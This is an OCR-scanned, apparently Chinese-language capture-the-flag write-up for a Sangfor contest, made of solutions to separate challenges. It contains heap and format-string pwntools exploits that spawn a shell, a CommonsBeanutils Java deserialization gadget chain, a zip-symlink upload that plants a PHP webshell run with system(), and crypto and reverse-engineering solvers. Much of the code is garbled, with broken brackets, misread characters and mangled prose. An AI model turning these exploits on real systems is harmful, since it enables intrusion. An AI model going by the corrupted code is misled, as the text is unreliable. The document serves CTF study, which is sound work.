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Advanced ZIP Password Recovery statistics:

Encrypted ZIP-file: C:\Users\16068\Desktop\example.zip
Total passwords: 0

Total time: 1m 20s 935ms

Average speed (passwords per second): 0

Password for this file: gwe@123

Password in HEX: 71 77 65 40 31 32 33
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from z1lib import crc32
import random
char="'0123456789"
def crc32_f(data):
return hex(crc32(data)&exffffffff)[2:10]
length=input('length:")
crc32_=input('crc32:").lower()
while True:
text=""
for i in range(length):
text+=char|[random.randint (0, len(char)-1)]
if crc32_f(text)==crc32_:
input('find it:'+text)
exit
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52 <span class="loginl00-form-title">

53 Congratulations! You are Admin, this is your flag!
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writebook

off by null J&i, R EHE & B fd g4t

# coding=utf-8
from pwn import *
p = process("./writebook")
context.arch = 'amdé4’
context.log level = 'debug'’
libc = ELF('./libc.so.6")
elf = ELF('./writebook")
def choice(c):
p.recvuntil(">")
p.sendline(str(c))
def addl(size):
choice(1)
choice(1)
p.recvuntil(":")
p.sendline(str(size))
def add2(size):
choice(1)
choice(2)
p.recvuntil(":")
p.sendline(str(size))
def edit(index,content):
choice(2)
p.recvuntil(":")
p.sendline(str(index))
p.recvuntil(":")
p.sendline(content)
def show(index):
choice(3)
p.recvuntil(":")



p.sendline(str(index

def free(index

choice(4

p.recvuntil(":"

p.sendline(str(index

add2(0x1be
for i in range(7

add2(0x1be
for i in range(7

free(i+l
free(0

add1l(exfo

show (0@

leak = ub4(p.recvuntil('\x7f")[-6:].1just(8,b"\x00"
libc_base = leak - 528 - 0x10 - libc.sym[' malloc_hook"
fh = libc_base + libc.sym[' free hook"

system = libc_base + libc.sym| 'system’

success(hex(leak

success(hex(libc_base

add1(0xbo

add2(ox110
for i in range(8

add2(ox110

add1(ox48) #11
for i in range(7

free(i+3

addl(exfe) # 3
for i in range(7

add1(oxfo
free(12
free(9
free(8
free(7
free(6
free(5
free(4
free(10

edit(11, 'A'*0x40+p64(0x170
free(3
free(11

add2(0x160

payload = p64(0) + p64(0x50
payload += p64(fth
edit(3,'A'*0x110 + payload
add1(ox40

add1(ox40

edit(5,p64(system
edit(4,'/bin/sh\x00"
free(4

p.interactive

Sangfor{TcHy+YdT3Gx5/akFzoBSV4q71g4c1248}



createcode

B R Y, BARMER/NEEERTHNE, FIAMES GRS

# -*- coding: utf-8 -*-
from pwn import *
p=process('./1")
libc=ELF('libc.so0.6")
def debug():
gdb.attach(p)
pause()
def lg(name,val):
log.success(name+' : '+hex(val))

def add(con):
p.recvuntil('> ")
p.sendline('1")
p.recvuntil('content: ')
p.send(con)

def show(idx):
p.recvuntil('> ")
p.sendline('2")
p.recvuntil('id: ')
p.sendline(str(idx))

def delete(idx):
p.recvuntil('> ")
p.sendline('3")
p.recvuntil('id: ")
p.sendline(str(idx))

add('a")

add('a")

add('a")

add('a")

delete(9)

add(0x328*'a'+p64(0x330*2+1))

delete(9)

add('a")

show(9)

p.recvuntil('\x7f")
libc.address=u64(p.recvuntil( "\x7f")[-6:].1just(8, "\x00"'))-96-1libc.sym|' malloc_hook']-0x10
lg('libc.address"',libc.address)
add('/bin/sh\x00")

add('a")

delete(3)

delete(2)

delete(1)

delete(9)
add(0x328*"'a'+p64(0x330+1)+p64(libc.sym[ ' free_hook']-8))
add(0x328*'a'+p64(0x330+1)+"'/bin/sh\x00")
add(8*'a'+p64(libc.sym[ 'system']))
delete(1)

p.interactive()

debug()
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1759648:

dress : @x7f91da25booo
hing to interactive mode

flag

YkCef8/IsIcRC/LoyoV}

CSDN ¢

[1]+ Stopped python2 code.py

Sangfor{TcHy+YdT3GzsLYkCef8/IslIcRC/LoyoV}

==& R A BE canaryf A2 ZE Mo it J5 B AR 3

from pwn import *
context.log_level='debug'
def pwn
p.recv
pay="%17$p~%15%$p"
p.sendline(pay
p.recvuntil('Nice to meet you, '
canary=int(p.recv(18),16
p.recv(1l
addr=int(p.recv(14),16)+0xe8
print(hex(canary
print(hex(addr
p.recvuntil("Anything else? "
pay=b'a'*(0x40-8)+p64(canary)+b'a’'*8+p64(addr
p.sendline(pay
p=process('./find_flag'
pwn
a=p.recv
print(a
p.close

Sangfor{TcHy+YdT3GxUZrYki4F3IM4WEBa1le9A}



TR T, TRORBEXMH, BRFEAKGE, ZXEbpBH—T R TH&Log, KT —Aar:

Attack Save Columns 13.Intruder attack of 192.168.41.125 - Temporary attack - Not saved to project file — [l X
Results Target Positions Payloads Resource Pool Options
Filter: Showing all items ®'
Payload 2 Payload 3 Status Error  Timeout Length - Comment
1 03 200 [ ] .| 5604
11 04 200 [ ] 3514
11 01 200 [ | 2298
11 05 200 [ | 2298
11 02 200 [ | 1860
200 B [ ] 239
01 01 200 (] [ 239
o1 01 200 () [ 239
02 01 200 (] [] 239
02 01 200 (] [ 239
03 01 200 [ [ ] 239
n2 n1 2NN ] ] 220
Request Response

Pretty il Hex Render \n &

5OZ0Z1-11-03 UZ:42:05 INFU http-nlo—8USl-exec—l org.apache. catalina. core. ContalnerBase. Llomcat). Llocalhost). /]
Initializing Spring DispatcherServlet 'dispatcherServlet’

9 2021-11-03 02:42:55 INFO http-nio-808l-exec-1 org. springframework. web. servlet. DispatcherServlet Initializing
Servlet 'dispatcherServlet’

10 2021-11-03 02:42:55 INFO http—nio-808l-exec-1 org. springframework. web, servlet. DispatcherServlet Completed
initialization in 5 ms

11 2021-11-03 10:05:49 INFO main con
1.8.0_211 on 97bb3ba0305a with PIO

12 2021-11-03 10:05:49 INFO main con
default

13 2021-11-03 10:05:51 INFO main org. springframework. boot. web. embedded. tomcat. TomcatWebServer Tomcat initialized
with port(s): 8081 (http)

14 2021-11-03 10:05:51 INFO main org. apache. covote. httpll. HttpllNioProtocol Initializing ProtocolHandler
["http—nio-8081"]

®{§} l jar ‘ 3 matches

Finished G e =]

9. 0. 1-SNAPSHOT using Java
oot in /var/web)
hlling back to default profiles:

18] ?logname=cb-08.0.1-SNAPSHOT. jar Bjarl FEH TRk, RIFE —NRFEFIKIE]:

@ResponseBody
@RequestMapping({"/bZdWASYu4nN3obRiLpgKCeS8erTZrdxx/parseUser"})
public String getUser(String user) throws Exception {
byte[] userBytes = Base64.getDecoder().decode(user.getBytes());
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(userBytes));
User userObj = (User)in.readObject();
return userObj.getUserNicename();

E&— Fpom.xml, - cb:

<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.2</version>
</dependency>

HERFFMMITHATT, BEEELR PR LK A EasyJabaflf BEIPOC, 88 F M & A 4 BUScb i), A5 BT
g



package com.summer.chl;

import com.summer.util.SerializeUtil;

import com.sun.crg.apache.xalan.internal .xsltc.trax. TemplatesImpl;

import com.sun.org.apache.xalan.internal . xsltc.trax. TransformerFactoryImpl;
import org.apache. commons . beanutils . BeanComparator;

import java.util.Base64;
import java.util.Collections;
import java.util.PriorityQueue;

public class CommonsBeanUtilsl {

public static void main(String[ ] args) throws Exception{
new CommonsBeanUtilsl().getShiroPayload();

)i

public static void cb1() throws Exception{
byte[] evilCode = SerializeUtil.getEvilCode();
TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates," bytecodes",new byte[ ][ ]{evilCode});
SerializeUtil.setFieldValue(templates,” name","feng");
SerializeUtil.setFieldValue(templates," tfactory",new TransformerFactoryImpl());

BeanComparator beanComparator = new BeanComparator("outputProperties");

PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);

SerializeUtil.setFieldValue(priorityQueue, "queue”,new Object[ |{templates, templates});
SerializeUtil.setFieldValue(priorityQueue,"size",2);
byte[] bytes = SerializeUtil.serialize(priorityQueue);
System.out.println(new String(Base64.getEncoder().encode(bytes)));

}

public byte[] getShiroPayload() throws Exception{
byte[] evilCode = SerializeUtil.getEvilCode();
TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates," bytecodes",new byte[ ][ ]|{evilCode});
SerializeUtil.setFieldValue(templates,” name","feng");

SerializeUtil.setFieldValue(templates,” tfactory"”,new TransformerFactoryImpl());

BeanComparator beanComparator = new BeanComparator("outputProperties”,String.CASE_INSENSITIVE_ORDER);
//BeanComparator beanComparator = new BeanComparator("outputProperties", Collections.reverseOrder());

PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
SerializeUtil.setFieldValue(priorityQueue, "queue",new Object[ |{templates,templates});
SerializeUtil.setFieldValue(priorityQueue,"size",2);

byte[] bytes = SerializeUtil.serialize(priorityQueue);

System.out.println(new String(Base64.getEncoder().encode(bytes)));

//SerializeUtil.unserialize(bytes);
return bytes;

zipzip



FREESEGEBHAERT /tmp/uploads HF T, ZRAE010 T MG MESKEHR A L H R F I ESE O, B2 BA
. BT —FABBTURBERESE, EREEEMERZrce, MMARLLERBMESRZ FICDMEESIweb BF T, XAHE
BB T YoEEER.

St — MM /var/www/html FEREERE:

root@M-e-6-ubuntu:~# Ln -s /var/www/html feng

RIEBICCERS, M -y, XFEFERYE B 5T CLORTE SR :

root@M-0-6-ubuntu:~# zip -y fengl.zip feng

fifeng H X TEEANY, REHEEXAfengHFAH -y FIESE:

root@vM-0-6-ubuntu:~# Ls -al feng
lrwxrwxrwx 1 root root 13 Nov 13 18:33 feng -> /var/www/html
root@vM-0-6-ubuntu:~# zip -r feng2.zip feng

adding: feng/ (stored 0%)

adding: feng/.feng.php (stored 0%)



XEHERIfeng2 zipRiXFE, fengRANEFHESR, BRTHEHEND:

feng2.zip (H&ARA) = O b3
MAH(F) @$(C) TE(S) WEs(0) wIm(N) #B8n(H)

- — o P ikl

g WEbme \® @8 =

A RRERl Whs =55 HIRR 524 ms B8 | AlRsS T’ BfEESES

ﬂﬂ feng2.zip\feng - ZIP 48304, #EA/\k 26 =15 v
& K EREA. XE gdemE ~ CRC32
& feng.php 26 26 JetBrains PhpS... 2021/11/1.. CEOEB..
il 21t 26 FH(1 4N CSDN @-E2 B4

RIS bAsfengt.zip, F bA&feng2.zip, XEMEE SCREIRALEF T /tmp/uploads/feng , XAZANFEF /var/www/html BIHEE:.
RIE T bAsfeng2 ZipiE AT B R BT (5, S2B B RLiZ R HE feng.phpf@E 2] /tmp/uploads/feng XNEHF T, (HX DL R —MNREEE
T, HMERR BN ZXA S BN TwebEHFT .

SR JarceZflagBi m] :

Sangfor{TcHy+YdT3GxsAPXi1U6m/HzLQQO9ImMXbM}

[k O] | FElements Console Sources Network  Performance  Memory  Application  Security lighthouse  Adblock Plus ~ HackBar  EditThisCookie B3 K X

LOAD SPLIT EXECUTE TEST ~ sqQLl ~ XSS -~ LFlI ~ SSTI ~ ENCODING ~ HASHING ~

URL
http://192.168.41.125:1007/.feng.php

enctype

Enable POSTapplication/x-www-form-urlencoded ADD HEADER

Body
O=system('cat /tmp/flag.txt);

CSDN @H£F4F




10

® 11| sub_400786(al, a2, a3);
® 12| if ( !fopen("flag", "r") )
®13 return eLL;
® 14 stream = fopen("./flag", "r");
® 15| fseek(stream, OLL, 2);
® 16 v8 = ftell(stream);
® 17| fseek(stream, OLL, @);
® 18 fread(&flag, 1luLL, v8, stream);
® 19| fclose(stream);
® 20 while (1)
21 {
® 22 vE = dword_602040;
® 23 if ( v6 »= strlen(&s) )
® 24 break;
@ 25 sub_40094B();
® 26 vd = dword_6020Ae;
® 27 if ( v4 == strlen(&s) )
28 {
® 29 v5 = dword_602680;
® 30 if ( v5 < strlen(&flag) )
@ 31 dword_6020A0 = 0;
32 }
33 }
® 34, vie = fopen("./out™, "a");
®35 for (|1 =0; i < dword_602268; ++i )
@ 36 fputc(output[i], vie);
® 37 fclose(vie);
® 38 return OLL; CSDN @2 B4E
¥ ma 2ar

RHZEIT
Sub_4007b6 K ILHAT D

B I o o e e e e N IR D I e = SR

Sub_40094b A AT EBERIUTIZAME6 IR, TRFIINELFRMI0ER10K, Hifag, Fes5in2, BE%HHF5

a=[0x0,0x60,0xel,0x2f,0x5,0x79,0x80,0x5e,0xel,0xc5,0x57,0x8b,0xcc,Ox5c,0x9a,0x67,0x26,0x1e,0x19,0xaf,0x93,0x3f,0
x9,0xe2,0x97,0x99,0x7b,0x86,0xcl,0x25,0x87,0xd6,0xc,0xdd,0xcf,0x2a,0xf5,0x65,0xe,0x73,0x59,0x1d,0x5f,0xad,0xf4,0
x65,0x68,0xd1,0x3d,0xd2,0x98,0x5d,0xfe,0x5b,0xef,0x5b,0xcc]
for i in range(56):
for j in range(33,128,1):
flag=a[i]
flag=(flag+0xa0)%256-7
if(flag<o):
flag+=256
flag=(flag*5+2)%256
#print(flag)
if(flag==al[i+1]):
print(chr(j),end="")
break

flag{deObd67e-6d25-87d7-1876-ad131a6165cb}

GeGe
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h=f'gmodp

rh +mjf mod p

£ = -;r-f ]'fj' - m f ]I'l(“l'({ P
CSDN @

PII R SRR JE 4ol Ab B B g 2 JE /5 B

m = a(f*) ' mod ¢

Fr AR B AR i expel— T, Bkinverse(f'f, g):



# sage

from Crypto.Util.number import *

h = 396790040951849143709116671538080216153284115907251956347135433640075093000997017710195330486195450214657072
1506995224520631716261108071684882841102381144720177664434981608584075201907891964214604246219441325377602163957
1726425821581922234528456710075855569519224152004155380602474562136081123603616369127033803063864398462696456967
5092981160778389529467063920247246592059954256822765715292284300179275411698199269620378829874055081266158382019
1877594185184758074771316815650833195023325150218113883046328740408517222933980589974912467363367727038230703152
3544503531992574119642880224091288903523460364237927599384689644622675287276951837479475154804327866693534346388
6035084929662060682089481993305064574865698199340839967518972441999780559964997550009389045039342189780326790956
9938850674774386012819838940544502656293639875120854745249463561940935651895728242282430164407574626178693654713
011323376912585958110558532953333

p = 440720678283254418866794420172781361718988394049053422743606886790119631150815154431698953130667886540860739
0128649278629254128753967046691736522108356971272311308455619879297358588727267184200777923695048248757115057072
3570878813366805040335119582807105471789712686704426508718907609162031092268528895996384844298898982104265405677
9402001392056678497328156062866691812267478353965372029562905489852990088296569158771821229137373421855516759169
0910246380516121338139063419587750344469214004539520017140593342859857394308703001939640899189432836134392830208
3182681316393186553821756432725651868844961888763414609685636235292297137900760500954980538469835368746481900337
3516280961480562420982733643222355391465183806361453461704455731097205616986973874643292485395325807900693610349
7626054364115282007843847693813896856977882285910369660539092462408790126385881581833165309032853389777355480169
212478669139225609058338565029211

c = 405249153937695555322056875754462165929330495883770716068109071062450586288951252019058987919783139472014590
9992216099963759496125523078969015706069688556356682711471641851937470179182960755800968587551608595725470945584
9700940362997646238945833799093299963374290673285758045672224968908033962345072784901163547583038070707752497110
8793854982401069786993085620524400649147520199322812141889052017417996929409496324901378661188979071180126952491
9695653453576043288934196952437164829830756439734795068980207758771052483500272264363028346668629397497794792110
1702751732093771142741640873201633405470199355623164292271193468021246206822934053757983402756798317504823393014
4042852722380187243961146127222927582499473489807866418054109615914675937880483695298108967375559035358890052245
5968721971944276318473421193690310601002295637581030417570868955379815661133148339565983621730401675643094909263
098778572081973142223744746526672

vl = vector(Zz, [1, h])

v2 = vector(Zz, [0, p])

m = matrix([vl,v2]);

shortest_vector = m.LLL()[9]

f, g = -shortest_vector

a=Ffc%prg

m = a * inverse_mod(f*f, g) % g

print(long_to_bytes(m))
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